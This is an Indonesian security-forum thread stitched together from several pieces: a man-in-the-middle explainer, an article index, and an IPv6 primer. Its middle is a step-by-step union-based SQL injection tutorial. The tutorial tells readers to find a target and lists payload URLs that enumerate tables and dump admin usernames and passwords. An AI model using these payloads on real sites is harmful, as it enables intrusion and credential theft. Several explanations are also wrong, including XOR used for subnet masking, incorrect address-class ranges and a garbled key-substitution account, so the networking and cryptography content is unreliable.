Man-in-the-middle (MITM) attack

Man-in-the-middle (MITM) attack adalah salah satu serangan pada tahap gaining access.



Dengan cara ini seseorang bisa membaca, menyisipkan, dan memalsukan data antara dua komputer yang saling terhubung di dalam switched network.

Man-in-the-middle attack dapat dilakukan jika komputer attacker berada di dalam satu network dengan dua komputer yang lainnya sesuai dengan namanya, Man-in-tthe-middle, Atttacker harus menempatkan diri di tengah-tengah komunikasi antara komputer User A dan komputer User B sehingga attacker bisa meng-capture (sniff)

semua data dari komputer User A dan komputer User
Serangan Terhadap Kriptografi
Serangan terhadap kriptografi berarti usaha untuk menemukan kunci atau plaintext dari ciphertext.
Suatu serangan dapat digolongkan menjadi dua jenis serangan berdasarkan keterlibatan penyerang (kriptanalis) pada komunikasi, yakni serangan pasif dan serangan aktif.


Serangan pasif berarti seorang penyerang tidak berinteraksi dengan kelompok yang sedang berkomunikasi dan hanya memanfaatkan data yang diperoleh (seperti ciphertext). Ciri-ciri dari serangan pasif adalah penyerang tidak terlibat dalam komunikasi antara pengirim dan penerima, serta penyerang hanya melakukkan penyadapan (eavesdropping) untuk memperoleh data sebanyak-banyaknya . Penyadapan dapat berbentuk wiretapping, electromagnetic eavesdropping, dan accoustic eavesdropping.



Serangan aktif berarti penyerang tidak hanya mengiintervensi komunikasi, tetapi juga ikut mempengaruhi sistem. Penyerang dapat saja menghapus sebagian ciphertext, mengubah ciphertext, menyisipkan potongan ciphertext palsu, membalas pesan lama, atau mengubah informasi yang tersimpan. Salah satu contoh serangaan aktif adalahh man-in-the-middle attack (MITM).
MITM adalah serangan dimana penyerang mampu untuk membaca, menambah dan mengubah sesuai kehendak pesan antara dua kelompok tanpa sepengetahuan kelompok tersebut. MITM biasanya dilakukan terhadap kriptografi asimetri dan bisa juga pada protocol Diffi-Hellman.


Untuk lebih jelasnya kita misalkan Alice dan Bob sebagai dua orang yang akan berkomunikasi, dan Malice berkehendak untuk menyadaap komunikasi tersebut serta mengirimkan pesan yang salah kepada Bob.


Untuk memulai komunik asi, pertama-tama Alice meminta Bob untuk mengirimkan kunci public miliknya. Ketika Malice dapat menyadap kunci publik yang dikirim, maka MITM akan dapat segera dimulai. Malice dapat dengan mudah mengirimkan Alice kunci publik yaang cocok dengan kunci pribadi milik Alice. Alice yang mempercayai bahwa kunci yang ia terima berasal dari Bob, mulai mengenkripsi kunci yang sebenarnya dikirim oleh Malice dan kemudian mengirimkan kembali ke Bob pesan yang telah dienkripsi.



Malice lalu kembali menyadap komunikasi dan mendeskripsi pesan tersebut, menyimpan salinan pesan, kemudian mengenkripsi pesan yang telah diubah menggunakan kunci publik yang dikirimkan oleh Bob dan kemudian mengirimkannya kepada Bob. Ketika Bob menerima ciphertext, maka ia akan percaya bahwa pesan tersebut
berasal dari Alice.


Pertahanan terhadap serranganUntuk menjagaa keamanan dari serangan M ITM maka dapat dinggunakan beberapa teknik otentikasi sebagai berikut :


• Menggunakan Infrastruktur public-key yang sudah dii sertifikasi
• Menggunakan otentifikasi mutual yang kuat
• Menggunakan kunci-kunci rahasia (Secret keys/high information entropy secrets)
• Menggunakan kata sandi/Passwords (low information entropy secrets)
• Menggunakan pengenal suara (voice recognition)
• Menggunakan pesan rahasia untuk sesaat



Selain itu, untuk mengatasi model serangan ‘man-in–the-middle-attack’, perlu ada sebuah metode untuk melakukan otentikasi host yang kita hub ungi. Otentikasi dapat berupa digital certifiicate yang eksklusif dimiliki oleh host tersebut.

Talking about Hacking, Cracking, Defending, Forensic and etc



[060310]
1. OWASP WebGoat Project - Pembelajaran Web Security
2. Man-in-the-middle (MITM) attack
3. Notes : Hackers , Fact n Fiction
4. Psikologi Penulis Virus
5. Mengenal Algoritma Enkripsi RSA
6. Network Security 101: Teori dan Prinsip
7. Memperbaiki komputer koban Cut dari NetCut
8. Caesar Shift Cipher
9. Tipe - Tipe Hacker
10. == Tips Pemakaian Password ==

[070310]
11. Seni Menebak Password

[090310]
12. Mencegah NetCut
13. Pengenalan Port

[100310]
14. Penjelasan IDS dan IPS
15. MENDITEKSI PENYUSUP JARINGAN LEWAT DOS

[110310]
16. Menyembunyikan IP Address Saat Browsing dengan proxy

17. Menyembunyikan IP Address saat browsing dengan web proxy

[230310]
18. DEF4c1nG - Pengertian -
19. About Defacing
20. About Defacing

[080610]
21. Tunneling Protocol
22. Ping Tunnel for Linux (Ubuntu Tested)
23. Ping Tunnel for Windows ( XP SP 3 Tested )
24. SSH Tunneling for Linux ( Ubuntu Tested )
25. SSH Tunneling for Windows ( XP SP 2 Tested )
26. Forensik - Latar Belakang dan Sejarah Komputer Forensik
27. Forensik - Definisi Komputer Forensik dan Kebutuhan akan Forensik
28. Forensik - Barang Bukti Digital
29. Forensik - Metodologi Standar Forensik
30. Forensik - Pemrosesan Barang Bukti

Oleh User Lain :

zamieltea - trik hacking Windows 2000 password administrator via command prompt
dwedaz -[Tutorial]Hack Kayak Yang di tivi-tivi
hakimarx - 10 alasan untuk pengelabuan social enggineering
teutons001 - Penjelasan Password


Di luar Thread :

Trik Menghemat ADSL by k1m0ch1
C++ mouse usil [source] by annas_ramadhani
[Security] [Web] [SQL] SQL Injection by h4ck_Z
SQL Injection [Part 2] by h4ck_Z
Dasar-Dasar Keygenning by yopisukita

Website pembelajaran hacking dengan video

irongeek.com dan http://milw0rm.com/video/


[Coming Soon List]
Securing Windows XP [Coming Soon]
Teknik Remote Connect-Back Shell [Coming Soon]
Menutup Port Manual [Coming Soon]
Melindungi password admin Windows 2000/XP [Coming Soon]
Site Forum Hacker, dan Website yang sering dikunjungi Hacker [Coming Soon]
Google Hacking similiar like Google Dork [Coming Soon]
Digital Forensic: Investigasi Insiden Keamanan [Coming Soon]

kalo ada kesalahan pada artikel saya, bebas koq untuk berkomentar...

yang Coming Soon Segera gw ketik

yang mau post artikel security boleh disini juga.. kalo postnya sampe kegedean jgn lupa di spoiler,... judulnya di luar spoiler



Hajimaruyo >.<


1. OWASP WebGoat Project - Pembelajaran Web Security



Spoiler untuk :



ini thread primary di forum echo.or.id postingan asli gw



Webgoat adalah suatu web aplikasi J2EE yang dibuat oleh OWASP sebagai pembelajaran web application security.

WebGoat memberikan kamu pelatihan tentang isu lubang keamanan pada web.

banyak misi yang diberikan. pokonya keren...

bisa di download di :

http://sourceforge.net/project/showf...group_id=64424 => dengan release WebGoat terakhir, lalu pilih link downloadnya -> sekitar 71 Mb ;P

web server : apache tomcat bisa di download di

http://tomcat.apache.org/download-55.cgi

- java runtime

http://www.filehippo.com/download_java_runtime/

untuk infonya :

http://www.owasp.org/index.php/OWASP_WebGoat_Project
http://www.owasp.org/index.php/WebGoat_Installation -> instalation

info video dari irongeek :

http://irongeek.com/i.php?page=video...-sql-injection

Pengertian sql injection:

hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal:

Code:
[site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
Code:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
sehingga muncul pesan error.


==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh:
Code:
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal:
Code:
[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal:

Code:
[site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi :
Code:
[site]/berita.php?id=-100+order+by+8--

===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka:
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal:
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah
Code:
From+Information_schema..

============
=step Empat:=
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
seumpama table yang muncul adalah "admin"


===========
=step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema =database() >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--
=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name= 0xhexa-- >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--
============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password

Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login iss: tapi saya sarankan memakai schemafuzz.py untuk hasil yg lebih maksimal.

Contoh hasil SQLi [special malay ]
Thanks to CyberDOS Team

Pengenalan IPv6


suatu node berkomunikasi dengan node lainnya didalam jaringan, protokol tersebut
berfungsi sebagai bahasa agar satu komputer dapat berkomunikasi satu dengan yang lainnya.
protokol yang merupakan standar de facto dalam jaringan internet yaitu protokol TCP/IP,
sehingga dengan adanya TCP/IP komputer yang dengan berbagai jenis hardware dan berbagai
jenis sistem operasi (linux,Windows X, X BSD, de el el) tetap dapat berkomunikasi.

Internet Protocol (IP) merupakan inti dari protokol TCP/IP, seluruh data yang berasal dari
layer-layer diatasnya harus diolah oleh protokol ini agar sampai ketujuan.versi IP yang saat
ini telah dipakai secara meluas di internet adalah Internet Protocol versi 4 (IPv4).

perkembangan internet yang sangat pesat sekarang ini menyebabkan alokasi alamat (IP addres)
IPv4 semakin berkurang, hal ini menyebabkan harga IP address legal sangat mahal
(kecuali maok!!!heu...heu...).Untuk mengatasi kekurangan alokasi IP address maka IETF
mendesain suatu IP baru yang disebut Internet Protocol versi 6 (IPv6).

pada IPv6, panjang alamat terdiri dari 128 bit sedangkan IPv4 hanya 32 bit. sehingga IPv6
mampu menyediakan alamat sebanyak 2^128 [2 pangkat 128] atau 3X10^38 alamat, sedangkan IPv4
hanya mampu menyediakan alamat sebanyak 2^32 atau 4,5X10^10 alamat.

oke, tadi cuma intro aja! sekarang kita lanjutkan ke yang lebih dalam lagi.
kemon baybeh!!!!!

sekarang saya akan menjelaskan perbedaan yang lainnya antara IPv4 dengan IPv6.

A.Struktur pengalamatan

#IPv4

pengalamatan IPv4 menggunakan 32 bit yang setiap bit dipisahkan dengan notasi titik.
notasi pengalamatan IPv4 adalah sebagai berikut:

XXXXXXXX.XXXXXXXX.XXXXXXXX.XXXXXXXX

dimana setiap simbol X digantikan dengan kombinasi bit 0 dan 1.misalnya:

10000010.11001000.01000000.00000001 (dalam angka biner)

cara penulisan lain agar mudah diinget adalah dengan bentuk 4 desimal yang dipisahkan
dengan titik. misal untuk alamat dengan kombinasi biner seperti diatas dapat dituliskan
sebagai berikut:

130.200.127.254

penulis sudah menganggap teman-teman semua dah bisa cara untuk mengkonversi dari bilangan
biner ke desimal:). cos' kalo harus dijelasakan lagi nanti tambah ruwet nih artikel
oke sekarang berlanjut ke struktur pengalamatan IPv6!


#IPv6

Tidak seperti pada IPv4 yang menggunakan notasi alamat sejumlah 32 bit, IPv6 menggunakan
128 bit. dah tau khan kenapa jadi 128 bit? yup biar alokasinya bisa lebih banyak.
oke sekarang kita liat notasi alamat IPv6 adalah sebagai berikut:

X:X:X:X:X:X:X:X

kalo dalam bentuk biner ditulis sebagai berikut:

1111111001111000:0010001101000100:1011111001000001 :1011110011011010:
0100000101000101:0000000000000000:0000000000000000 :0011101000000000

(dua blok diatas sebenarnya nyambung tapi agar tidak memakan tempat maka ditulis kebawah)
itu notasi alamat IPv6 kalo dalam bentuk biner hal ini sengaja saya tulis bukan untuk membuat
pusing yang baca tetapi untuk menunjukkan betapa panjangnya alamat IPv6.
silahkan bandingkan dengan panjangnya IPv4.

nah! agar lebih mudah diinget setiap simbol X digantikan dengan kombinasi 4 bilangan
heksadesimal dipisahkan dengan simbol titik dua [:]. untuk contoh diatas dapat ditulis sbb:

FE78:2344:BE43:BCDA:4145:0:0:3A

lebih enak diliatnya khan?nah sistem pengalamatan IPv6 dapat disederhanakan jika terdapat
berturut-turut beberapa angka "0". contohnya untuk notasi seperti diatas dapat ditulis:

FE78:2344:BE43:BCDA:4145:0:0:3A -------> FE78:2344:BE43:BCDA:4145::3A

contoh lagi:

8088:0:0:0:0:0:4508:4545 -------->8088::4508:4545


B.Sistem pengalamatan

#IPv4

Sistem pengalamatan IPv4 dibagi menjadi 5 kelas, berdasarkan jumlah host yang dapat dialokasikan
yaitu:

Kelas A : range 1-126
Kelas B : range 128-191
kelas C : range 192-223
kelas D : range 224-247
kelas E : range 248-255

tapi yang lazim dipake hanya kelas A,B dan C sedangkan kelas D dipakai untuk keperluan alamat
multicasting dan kelas E dipake untuk keperluan eksperimental.

selain itu pada IPv4 dikenal istilah subnet mask yaitu angka biner 32 bit yang digunakan untuk
membedakan network ID dan host ID, menunjukkan letak suatu host berada dalam satu jaringan
atau lain jaringan.contohnya kaya gini:

IP address: 164.10.2.1 dan 164.10.4.1 adalah berbeda jaringan jika menggunakan netmask
255.255.254.0, tetapi akan jika netmasknya diganti menjadi 255.255.240.0 maka kedua
IP address diatas adalah berbeda jaringan. paham belom? kalo belom paham gini caranya:


164.10.2.1 -------> 10100100.00001010.00000010.00000001
255.255.254.0----> 11111111.11111111.11111110.00000000
____________________________________ XOR
10100100.00001010.00000010.00000000-->164.10.2.0
dan
164.10.4.1 -------> 10100100.00001010.00001000.00000001
255.255.254.0----> 11111111.11111111.11111110.00000000
____________________________________ XOR
10100100.00001010.00001000.00000000-->164.10.4.0


operasi XOR caranya seperti pertambahan waktu SD, cuman lebih mudah, gampangnya gini kalo
angka "1" jumlahnya genap hasilnya "1" kalo jumlah "1" ganjil hasilnya "0" (1+1=1, 1+0=0)
(heu...heu...).

terlihat hasil operasi XOR dua IP address dengan netmask yang sama hasilnya beda berarti
kedua IP address tersebut berbeda jaringan. untuk contoh berikutnya yang menggunakan
netmask 255.255.240.0 silahkan coba sendiri.

#IPv6

pada IPv6 tidak dikenal istilah pengkelasan, hanya IPv6 menyediakan 3 jenis pengalamatan
yaitu: Unicast, Anycast dan Multicast. alamat unicast yaitu alamat yang menunjuk pada sebuah
alamat antarmuka atau host, digunakan untuk komunikasi satu lawan satu. pada alamat unicast
dibagi 3 jenis lagi yaitu: alamat link local, alamat site local dan alamat global.
alamat link local adalah alamat yang digunakan di dalam satu link yaitu jaringan local yang
saling tersambung dalam satu level. sedangkan alamat Site local setara dengan alamat privat,
yang dipakai terbatas di dalam satu site sehingga terbatas penggunaannya hanya didalam satu
site sehingga tidak dapat digunakan untuk mengirimkan alamat diluar site ini.
alamat global adalah alamat yang dipakai misalnya untuk Internet Service Provider.

alamat anycast adalah alamat yang menunjukkan beberapa interface (biasanya node yang berbeda).
paket yang dikirimkan ke alamat ini akan dikirimkan ke salahsatu alamat antarmuka yang paling
dekat dengan router. alamat anycast tidak mempunyai alokasi khusus, cos' jika beberapa
node/interface diberikan prefix yang sama maka alamat tersebut sudah merupakan alamat anycast.

alamat multicast adalah alamat yang menunjukkan beberapa interface (biasanya untuk node yang
berbeda). Paket yang dikirimkan ke alamat ini maka akan dikirimkan ke semua interface yang
ditunjukkan oleh alamat ini. alamat multicast ini didesain untuk menggantikan alamat broadcast
pada IPv4 yang banyak mengkonsumsi bandwidth.

Tabel alokasi alamat IPv6
__________________________________________________ ________________
|alokasi | binary prefix |contoh (16 bit pertama |
|_______________|__________________________|______ _________________|
|Global unicast |001 | 2XXX ato 3XXX |
|link local |1111 1110 10 | FE8X - FEBx |
|site local |1111 1110 11 | FECx - FEFx |
|Multicast |1111 1111 | FFxx |
|_______________|__________________________|______ _________________|

selain alamat diatas tadi ada juga jenis pengalamatan lainnya diantaranya:

#IPv4-compatible IPv6 address biasanya alamat ini digunakan untuk mekanisme transisi Tunelling
format alamatnya kaya gini:

80 bits |16 | 32 bits |
+-------------------+------+---------------------+
|0000...........0000| 0000 | IPv4 address |
+-------------------+------+---------------------+

contohnya:
= 0:0:0:0:0:0:192.168.30.1
= ::192.168.30.1
= ::C0A8:1E01
jadi 0:0:0:0:0:0:192.168.30.1=::c0AB:1E01 kok bisa dapat dari mane? gini caranya:
buat dulu alamat 0:0:0:0:0:0:192.168.30.1 jadi biner
::11000000.10101000.00011110.00000001 kemudian kelompokkan menjadi masing 16 bit
::[1100.0000.1010.1000]:[0001.1110.0000.0001] diubah ke heksa desimal--->::C0A8:1E01
tanda "." (titik) didalam kurung untuk mempermudah konversi dari biner ke heksadesimal.
sudah pahamkan? masih belum juga silahkan ulangi lagi dengan perlahan

#IPv4-mapped IPv6 address biasanya digunakan untuk mekanisme transisi ISATAP.

80 bits |16 | 32 bits |
+-------------------+------+---------------------+
|0000...........0000| FFFF | IPv4 address |
+-------------------+------+---------------------+

contohnya: =::FFFF:192.168.1.2

#IPv6 over ethernet digunakan untuk stateless autoconfiguration (pemberian alamat IPv6
secara otomatis tanpa memerlukan server yang memberi alokasi IP address, mirip DHCP
cuman tanpa server).
contoh:
00:90:27:17:FC:0F
/\
/ \
FF FE
maka alamatnya menjadi 00:90:27:FF:FE:17:FC:0F kemudian diblok pertama bit ketujuh diinvers
00:90:27:17:FC:0F
|
|
\|/
000000[0]0 bit yang dikurungi diinvers dari 0--->1
maka sekarang menjadi 02:90:27:FF:FE:17:FC:0F alamat tersebut adalah alamat IPv6 over ethernet.

Recent Posts

comments powered by Disqus